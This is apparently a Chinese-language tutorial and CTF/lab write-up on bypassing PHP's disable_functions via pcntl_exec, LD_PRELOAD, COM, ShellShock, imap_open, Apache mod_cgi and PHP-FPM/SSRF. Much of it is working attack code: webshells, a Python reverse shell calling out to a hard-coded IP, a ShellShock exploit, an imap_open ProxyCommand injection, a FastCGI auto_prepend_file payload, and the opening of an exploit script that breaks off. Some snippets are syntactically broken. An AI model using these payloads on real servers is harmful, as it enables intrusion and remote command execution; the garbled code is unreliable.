绕过disable_functions
先看有没有一些忘了ban的命令函数
利用pcntl_exec
PHP安装并且启用了pcntl插件
利用LD_PRELOAD环境变量
能上传自己的.so文件
能够控制LD_PRELOAD环境变量的值,比如putenv()函数
因为新进程的启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能够执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等
利用Windows系统组件COM绕过
php.ini中查看是否已经开启com.allow_dcom
利用 ShellShock(CVE-2014-6271)
Linux操作系统
putenv()、mail()、或error_log()函数可用
目标系统的/bin/bash存在CVE-2014-6217漏洞
/bin/sh -> /bin/bashsh默认的shell是bash
利用imap_open()绕过
Linus操作系统
存在imap_open()函数
设置imap.enable_insecure_rsh为On
利用Apache Mod CGI
Linux操作系统
Apache + PHP(apache使用apache_mod_php)
Apache开启了cgi、rewrite
Web目录给了AllowOverride权限
当前目录可写
通过攻击 PHP-FPM
Linux操作系统
PHP-FPM
存在目录可写,需要上传.so文件
利用GC UAF
Linux系统
PHP版本 -->7.0-7.3all version to date
利用Backtrace UAF
Linux系统
PHP版本-->7.0-7.2all version to date
7.3<7.3.15 (released 20 Feb 2020)
7.4<7.43(released 20 Feb 2020)
利用 SplDoublyLinkedList UAC
PHP v7.4.10及其之前版本
PHP v8.0(Alpha)
利用FFI扩展执行命令
Linux系统
PHP>=7.4
开启了FFI扩展且ffi.enable=true
利用ImageMagick
目标主机安装了漏洞版本的imagemagick(<=3.3.0)
安装了php-imagick拓展并在php.ini中启用
编写php通过new imagick对象的方式来处理图片等格式文件
PHP>=5.1
常规绕过(黑名单绕过)
常见危险函数名单
exec()
<?php echo exec('whoami');?>
shell_exec()
<?php echo shell_exec('whoami');?>
s
system()
<?php system('whoami');?>
passthru()
<?php passthru("whoami");?>
popen()
<?php
$command=$_POST['cmd'];
$handle=popen($command,"r");
while(!=feof($handle)){
echo fread($handle,1024);
}
pclose($handle);
?>
proc_open()
<?php
$command="ipconfig";
$descriptorspec = array(1=>array("pipe","w"));
$handle=proc_open($command,$descriptorspec,$pipes);
while(!=feof($pipes[1])){
echo fread($pipes[1],1024)
}
?>
利用pcntl_exec
使用条件:
? pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数
? pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序
利用pcntl_exec()执行test.sh:
<?php
if(function_exists('pcntl_exec')){
pcntl_exec("/bin/bash",array("/tmp/test.sh");)
}else{
echo 'pcntl extension is not support!';
}
?>
由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:
<?php
pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os);
s=socket.socket(socket.AF_INET,socket.STREAM,socket.SOL_TCP);
s.connect(("132.232.75.90",9898));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);'));
利用LD_PRELOAD环境变量
使用条件
- 能上传自己的.so文件
- 能够控制LD_PRELOAD环境变量的值,比如putenv()函数
- 因为新进程的启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能够执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等
原理简述
? LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
? 我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。
? 一般而言,利用漏洞控制web启动新进程a.bin,新进程a.bin的内部调用系统函数b(),b()位于系统共享对象c.so中,所以系统为该进程加载共享对象,我们就要想办法在加载c.so之前优先加载可控的c_evil.so,c_evil.so内含有与b()同名的恶意函数,而由于c_evil.so的优先级比较高,所以a.bin调用到c_evil.so内的b()而非系统内的c.so里面的b()函数,同时,c_evil.so是我们可控的,这样就能达到执行恶意代码的目的。操作如下
编写一个原型为uid_t getuid(void);的C函数,内部执行攻击者指定的代码,并编译成共享对象,getuid_shadow.so;
运行PHP函数putenv()(用来配置系统环境变量),设定环境变量LD_PRELOAD为getuid_shadow.so,以便后续启动新进程时优先加载该共享对象。
运行PHP的mail()函数,mail()内部启动新进程/usr/sbin/sendmail,由于上一步LD_PRELOAD的操作,sendmail调用的系统函数getuid()被优先级更高的getuid_shadow.so中的同名函数getuid()所劫持。
从而达到不调用PHP的各种命令执行函数,仍然可以执行系统命令的目的
? 而之所以劫持getuid(),是因为sendmail程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,容易存在这两个问题
- 某些环境中,web禁止期用sendmail,甚至系统上根本没有安装sendmail,也就谈不上劫持getuid()了,通常的www-data权限也无法去更改php.ini配置,安装sendmail
- 即使目标可以启用sendmail,因为未将主机名(hostname)添加进hosts中,导致每次运行sendmail都要花半分钟等待域名解析超时返回,www-data也无法将主机名加入hosts(如127.0.0.1 lamp、lamp、lamp.com)
尝试在加载时就执行代码(直接拦截启动进程),而不需要再考虑劫持某一系统函数
贴大佬!:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
题目复现
[GKCTF2020]CheckIN
先上传一下,拿下shell,用蚁剑连接
打开虚拟终端,发现无法执行命令,查看phpinfo得知设置了disable_functions
去yangyangwithgnu 大佬的github上下载该项目的利用文件:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
项目里有这么四个关键的文件
bypass_disablefunc.php:用来执行命令的webshell
bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:执行命令的共享对象文件,分为64位的和32位的
bypass_disablefunc.c:用来编译生成上面的共享对象文件
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标有权限的目录中
然后将bypass_disablefunc.php包含进来并使用GET方法提供所需的三个参数:
/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCIpOw==&cmd=id&outpath=/tmp/outfile123&sopath=/var/tmp/bypass_disablefunc_x64.so
# include("/var/tmp/bypass_disablefunc.php");
成功执行
利用Windows系统组件COM绕过
Windows系统组件COM在Windows默认就存在,是位于System32目录下的wshom.ocx文件。
环境配置
先在php.ini中查看是否已经开启com.allow_dcom,若未开启则将前面的;分号去掉:
; allow Distributed-COM calls
; http://php.net/com.allow-dcom
com.allow_dcom = true
然后在php/ext/里面查找是否存在php_com_dotnet.dll这个文件。
再到php.ini中查看是否存在extension=php_com_dotnet.dll这项,有的话去掉注释开启,否则直接添加上去即可。
重启服务,在phpinfo中查看是否开启了:
Bypass
前提通过phpinfo知道disable_functions选项如下:
disable_functions = exec,system,passthru,shell_exec,proc_open,popen,dl,
此时在Web服务器中写入任意的以上函数的WebShell都是无法执行命令的。
上传comshell.php至Web服务器中:
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
这里创建一个COM对象,然后通过调用COM对象的exec()方法来实现执行系统命令,从而绕过disable_functions禁用PHP命令执行函数的限制
?cmd=whoami
防御方法
彻底的解决方案是直接删除System32目录下wshom.ocx文件。
利用 ShellShock(CVE-2014-6271)
使用条件:
- Linux操作系统
- putenv()、mail()、或error_log()函数可用
- 目标系统的/bin/bash存在CVE-2014-6217漏洞
- /bin/sh -> /bin/bashsh默认的shell是bash
原理简述
? 该方法利用的bash中的一个老漏洞,即Bash Shellshock 破壳漏洞(CVE-2014-6271)。
? 该漏洞的原因是Bash使用的环境变量是通过函数名称来调用的,导致该漏洞出现是以(){ 开头定义的环境变量在命令 ENV (显示系统中已经存在的环境变量)中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
? 一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行。PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。
? 来看看mail()是怎么使用到popen函数而派生出bash子进程的
? PHP的mail()函数用于发送邮件,提供了3个必选参数和2个可选参数:
mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] ) : bool
? 重点在于最后一个参数,这个参数可以通过添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。这个可以去翻看看官方文案
? 在PHP mail()函数的源代码mail.c中,有如下片段,其中mail()函数的第五个参数即为extra_cmd
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
? 当extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf()将sendmail_path和extra_cmd组合成真正执行命令行sendmail_cmd。然后将sendmail_cmd丢给了popen()来执行
sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);
errno = 0;
sendmail = popen(sendmail_cmd,"w");
? 如果系统默认sh是bash,popen()会派生bash进程,而刚刚的CVE-2014-6271漏洞,就会直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制
? 同样,看php的源代码,可以发现调用popen派生进程的php函数还有imap_mail,如果只是禁用了mail函数想要规避这个问题,那imap_mail也是也可用来攻击的。所以根本在于,只要有调用popen或者其他能够派生出bash子进程的函数,通过这些地方,都是可以通过破壳漏洞来执行命令的。
手动利用
使用AntSword-Labs搭建环境
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/2
docker-compose up -d
访问http://127.0.0.1:18080
开始尝试绕过disable_functions
用蚁剑拿下shell
在有写入权限的目录中上传以下利用脚本,命名为exploit.php
这里上传到了/var/tmp/目录下
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) {
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
再利用文件包含
http://127.0.0.1:18080/?ant=include("/var/tmp/exploit.php");&cmd=ls /
执行命令
—>这个靶场禁用了mail函数和mail_open(),所以上述的脚本无法使用,有待寻找新的可用函数
使用蚁剑虚拟终端直接绕过
? AntSword 虚拟终端中已经集成了对 ShellShock 的利用,直接在虚拟终端执行命令即可绕过
利用imap_open()绕过
使用条件
- Linus操作系统
- 存在imap_open()函数
- 设置imap.enable_insecure_rsh为On
原理简述
? PHP的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞,成功的攻击可能允许攻击者绕过其他禁用的exec受影响软件中的功能,攻击者可以利用这些功能在目标系统上执行任意shell命令,利用此漏洞的功能代码是Metasploit Frameword的一部分
imap_open()
resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )
? mailbox参数的值由服务器名和服务器上的mailbox文件路径所组成,INBOX代表的是当前用户的个人邮箱。比如,我们可以通过如下方式来设置mailbox参数:
$mbox = imap_open ("{localhost:993/PROTOCOL/FLAG}INBOX", "user_id", "password");
? 在括号内的字符串中,我们可以看到服务器名称(或者IP地址)、端口号以及协议名称。用户可以在协议名后设置标志(第三个参数)。
? 简单地说,就是imap_open()函数会调用到rsh的程序,而该程序中会调用execve系统调用来实现rsh的调用,其中的邮件地址参数是由imap_open()函数的mailbox参数传入,同时,由于rsh命令是ssh命令的符号链接,所以当我们利用ssh的-oProxyCommand参数来构造恶意mailbox参数时就能执行恶意命令。
-oProxyCommand参数
ProxyCommand指定用于连接服务器的命令。
? 但是我们不能直接将上述命令直接转移到PHP脚本来代替imap_open服务器地址,因为在解析时它会将空格解释为分隔符和斜杠作为标志,但是可以使用$IFS这个shell变量来替换空格符或使用\t替换。还可以在bash中使用Ctrl + V热键和Tab键插入标签。绕过斜杠可以使用base64来进行绕过。
漏洞利用
? 先判断是否存在imap_open()函数,然后构造exp执行通过外部GET输入的命令然后保存结果到本地文件中,最后输出结果文件内容,注意sleep(5)是为了等imap_open()函数执行完、因为该函数执行时需要DNS查询会存在延时
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
这里替换空格符的\t也可以使用$IFS来绕过
利用Apache Mod CGI
使用条件
- Linux操作系统
- Apache + PHP(apache使用apache_mod_php)
- Apache开启了cgi、rewrite
- Web目录给了AllowOverride权限
- 当前目录可写
原理简述
PHP的连接方式有三种,分为apache2-module模式,CGI模式,FastCGI模式。
可以在phpinfo()的Server API中查看
? 早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。但是逐渐开始出现了动态技术,Web服务器并不能直接运行动态脚本,为了让Web服务器与外部应用程序(CGI程序)之间数据能够互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行在其上的应用程序之间进行"交流"的约定。
? 当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,在运行外部C程序或其他脚本时,也就是将动态脚本交给了CGI程序来处理。但是启动CGI程序需要一个过程,如读取配置文件、加载拓展等。当CGI程序启动之后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样子,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新的进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成之后进程随之关闭,其效率是很低的
而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。 也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器,当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,不用再重新Fork一个新进程了。
? 任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待,并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的拓展名,另一种是文件位于ScriptAlias目录中
? Apache在配置开启CGI后可以用ScriptAlia指令指定一个目录,指定的这个目录下面就可以存放可执行的CGI程序,若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下: Options + ExecCGI AddHandler cgi-script.xxx 这样便会将当前目录下的所有.xxx文件当作CGI程序执行了 由于CIG程序可以执行命令,这样我们就可以利用CGI来执行系统命令,以此绕过disable_functions
CGI 是在 1993 年由美国国家超级电脑应用中心(NCSA)为 NCSA HTTPd Web 服务器开发的,这个 Web 服务器使用了 UNIX shell 环境变量 来保存从 Web 服务器传递出去的参数,然后生成一个运行 CGI 的独立进程
Apache的mod-php就是这种实现
FastCGI使用进程/线程池来处理一连串的请求。这些进程/线程由FastCGI服务器管理,而不是Web服务器。 当进来一个请求时,Web服务器把环境变量和这个页面请求通过一个Socket长连接传递给FastCGI进程
Apache的php-fpm就是这种实现
手动利用
开启环境
cd ~/AntSword-Labs/bypass_disable_functions/3
docker-compose up -d
无法执行命令
? 查了phpinfo()的配置信息,版本为5.6.11,大佬说要查看Apache的CGI服务有没有打开,但是我不知道 怎么看(还是太菜了),就默认它打开了吧。
在当前目录下有写入文件的权限,创建.htaccess文件,写入
Options +ExecCGI AddHandler cgi-script .ant
? 这里踩了坑,直接用蚁剑新建然后写入,直接爆了500,因为linux中CGI比较严格,无法解析我们bash文件。我们的目标站点是linux环境,如果我们用(windows等)本地编辑器编写上传时编码不一致导致无法解析,所以我们可以在linux环境中编写并导出再上传
cat>>.htaccess
Options +ExecCGI
AddHandler cgi-script .ant
贴一个讲得很好的传送门https://www.apachehttpd.com/howto/cgi.html
mv .htaccess 桌面
再把文件拖进目录里
/usr/local/bin/php
然后新建shell.ant,写入
#!/bin/sh echo Content-type: text/html echo "" echo&&id
?ant=chmod('shell.ant',0777);
但是设置了之后访问shell.ant出错
跑去查Apache日志,发现
把shell.ant格式改为
复现成功
使用蚁剑插件
通过攻击 PHP-FPM
使用条件
- Linux操作系统
- PHP-FPM
- 存在目录可写,需要上传.so文件
原理简述
? 早期的web服务器只处理html等静态资源,后来发展出了php等动态语言来丰富Web,形成了动态Web资源,这时Web服务器就处理不了了,就交给了PHP解释器来处理,但是PHP解释器和Web服务器进行通信就成了一个问题,为了解决不同语言的解释器(如php,python解释器)与Web服务器的通信,于是出现了CGI协议。只要按照CGI协议编写程序,就能够实现语言解释器与Web服务器的通信,如PHP-CGI程序
Fast-CGI
? 有了CGI,就解决了Web服务器与PHP解释器的通信问题,但是Web服务器有一个问题,就是它每收到一个请求就会去Fork一个CGI进程,请求结束再kill掉这个进程,这样十分浪费资源。于是,就有了CGI的改良版本,Fast-CGI。Fast-CGI每次处理完请求之后,并不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求,以提高效率
Fast-CGI Recode
CGI/Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道
? HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。 类比HTTP协议来说,CGI协议是Web服务器和解释器进行数据交换的协议,它由多条record组成,每一条record都和HTTP一样,也由header和body组成,Web服务器将这二者按照CGI规则封装好发送给解释器,解释器解码之后拿到具体数据进行操作,得到结果之后再次封装好返回给Web服务器中间件。 ? 和HTTP头不同,record的header头部固定的是8个字节,body是由头中的contentLength指定,结构如下
record
typedef struct {
HEAD unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
}
FCGI_Record;
? 头由8个unsigned char类型的变量组成,每个变量1个字节,其中requedtID 占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength 占两个字节,表示body的大小。
? 语言端解析了fastcgi头之后,拿到contentLength 然后再在TCP流中读取大小等于contentLength 的数据,拿到的这个就是body体。
? Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用,不需要改Padding时,其长度可直接设为0。由此可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。
type
? type就是指定该record的作用。因为FastCGI的一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestld作为同一次请求的id。也就是说,每次请求,会有多个record,他们的requestId是一致的
? 服务器中间件和PHP-FPM通信的第一个数据包是type为1的record,而后续通信的type为4、5、6、7的record,结束时发送type为2、3的record
? 当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析为键值对,这就是环境变量。
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fURSiWZc-1663843798854)(https://www.mi1k7ea.com/2019/08/25/%E6%B5%85%E8%B0%88PHP-FPM%E5%AE%89%E5%85%A8/9.png)]
这其实是4个结构,至于用哪个结构,有如下规则:
- key、value均小于128字节,用FCGI_NameValuePair11
- key大于128字节,value小于128字节,用FCGI_NameValuePair41
- key小于128字节,value大于128字节,用FCGI_NameValuePair14
- key、value均大于128字节,用FCGI_NameValuePair44
这个时候,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下的键值对(key-value)
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
? 这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里面的环境变量。但环境变量的作用不只是填充了$_SERVER数组,也是告诉了FPM:“我要执行哪个PHP文件”。
? PHP-FPM拿到Fastcgi的数据包后,进行解析,得到上述的环境变量,然后执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
FPM
FPM(FastCGI进程管理器)用于替换PHP FastCGI的大部分附加功能,对于高负载网站十分有效
? FPM就是Fastcgi的协议解析器,Web服务器使用CGI协议封装好用户的请求发给FPM。FPM按照CGI的协议将TCP流解析成真正的数据
通信方式
? 在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种:
TCP模式
? TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。
? 通常我们可以通过查看Nginx的配置文件default.conf来确认是否是TCP模式,这里我的环境中的路径为/conf/vhosts/0localhost_80.conf,看fastcgi_pass这一项,若为ip+port的形式为TCP模式
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
? 在PHP-FPM中,可以通过查看其配置文件,个人环境中的路径为/usr/local/etc/php-fpm.d/www.conf,看到listen一项若为ip+port的形式即为TCP模式:
; The address on which to accept FastCGI requests.
; Valid syntaxes are:
; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on
; a specific port;
; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on
; a specific port;
; 'port' - to listen on a TCP socket to all addresses
; (IPv6 and IPv4-mapped) on a specific port;
; '/path/to/unix/socket' - to listen on a unix socket.
; Note: This value is mandatory.
listen = 127.0.0.1:9000
Unix Socket模式
? Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
相比之下,Unix套接字模式的性能会优于TCP模式。
还是一样的识别方法,在Nginx的default.conf中查看fastcgi_pass:
location~\.php${
index index.php index.html index.htm;
include /etc/nginx/fastcgi_params;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
在PHP-FPM的www.conf中查看listen
listen = /run/php/php7.3-fpm.sock
如何进行攻击呢
? 这里由于FPM默认监听的是9000端口,我们就可以绕过Web服务器,直接构造Fastcgi协议,和FPM进行通信。于是就有了利用Webshell直接与FPM通信来绕过disable_function的姿势
接下来就是使用CGI协议封装请求,通过Socket来直接与FPM进行通信。
第一个限制
? 既然是请求,那么SCRIPT_FILENAME就十分重要,因为前面说过,FPM是根据这个值来执行PHP文件的,如果不存在就会直接返回404,所以要想利用这个漏洞,就得找到一个已经存在的PHP文件,好在一般进行源安装PHP的时候, 服务器都会带上一些PHP文件,如果没有收集到目标Web目录信息的话,可以尝试一下从这个方向突破
第二个限制
? 即使我们能够控制SCRIPT_FILENAME,让FPM执行任意文件,那也只能执行目标服务器上的文件,并不能执行我们需要其执行的文件。那么如何执行我们自己所需要的文件呢,可以从php.ini入手,它有两个特殊选项,能够让我们做到任意命令执行,就是auto_prepend_file和auto_append_file
? auto_prepend_file的功能是在执行目标文件之前,先包含它指定的文件。假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件之前都要包含一遍POST过去的内容,所以我们只要把执行的代码放在POST Body中进行远程文件包含,这样就能做到任意代码执行
第三个限制
? 虽然可以远程文件包含执行任意代码,但是远程文件含有allow_url_include这个限制因素,如果没有为ON的话就没有办法进行远程文件包含,那要怎么设置呢?这里PHP-FPM有两个可以设置PHP配置项的键值对,即PHP_VALUE和PHP_ADMIN_VALUE,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有与选项,(disable_function除外)
最后构造如下
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/name.php',
'SCRIPT_NAME': '/name.php',
'QUERY_STRING': '?name=alex',
'REQUEST_URI': '/name.php?name=alex',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
? 该请求设置了auto_prepend_file=php://input且allow_url_include=On,然后将我们要执行的代码放在Body中,就可以执行任意代码了。
? 另外,SCRIPT_FILENAME选项需要我们设置一个服务端已存在的PHP文件,该选项是让PHP-FPM执行目标服务器上的文件,且由于security.limit_extensions项的限制导致只能执行PHP文件。那么找一下PHP安装中默认存在的PHP文件就可以作为利用文件了
SSRF攻击本地PHP-FPM
基本原理
? PHP-FPM开放在公网上的情况是很少的,大部分时候都是启动在本地即监听127.0.0.1:9000地址的。虽然我们没有办法直接对PHP-FPM发起攻击,但是我们可以结合其他漏洞来间接利用。如果目标站点存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果。
Gopher协议
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
? 可以利用Gopher协议来直接发送TCP协议流,从中进行urlencode编码来构造SSRF攻击代码,器中攻击代码就是恶意FastCGI报文
前提为目标站点存在SSRF漏洞
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
贴大牛EXP脚本
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
